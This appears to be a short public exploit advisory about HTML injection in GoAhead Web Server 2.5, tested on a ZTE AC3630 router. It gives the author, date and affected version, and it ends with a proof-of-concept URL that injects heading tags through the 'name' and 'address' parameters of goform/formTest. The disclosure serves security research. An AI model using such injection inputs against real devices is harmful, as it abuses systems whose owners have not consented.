GoAhead Web Server 2.5 - 'goform/formTest' Multiple HTML Injection Vulnerabilities

# Exploit Title: GoAhead Web Server 2.5 - 'goform/formTest' Multiple HTML Injection Vulnerabilities
# Date: 25/9/2023
# Exploit Author: Syed Affan Ahmed (ZEROXINN)
# Vendor Homepage: https://www.embedthis.com/goahead/
# Affected Version: 2.5 may be others.
# Tested On Version: 2.5 in ZTE AC3630

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GoAhead Web Server Version 2.5 is prone to Multiple HTML-injection vulnerabilities due to inadequate input validation.

HTML Injection can cause the ability to execute within the context of that site.

http://192.168.0.1/goform/formTest?name=<h1>Hello</h1>&address=<h1>World</h1>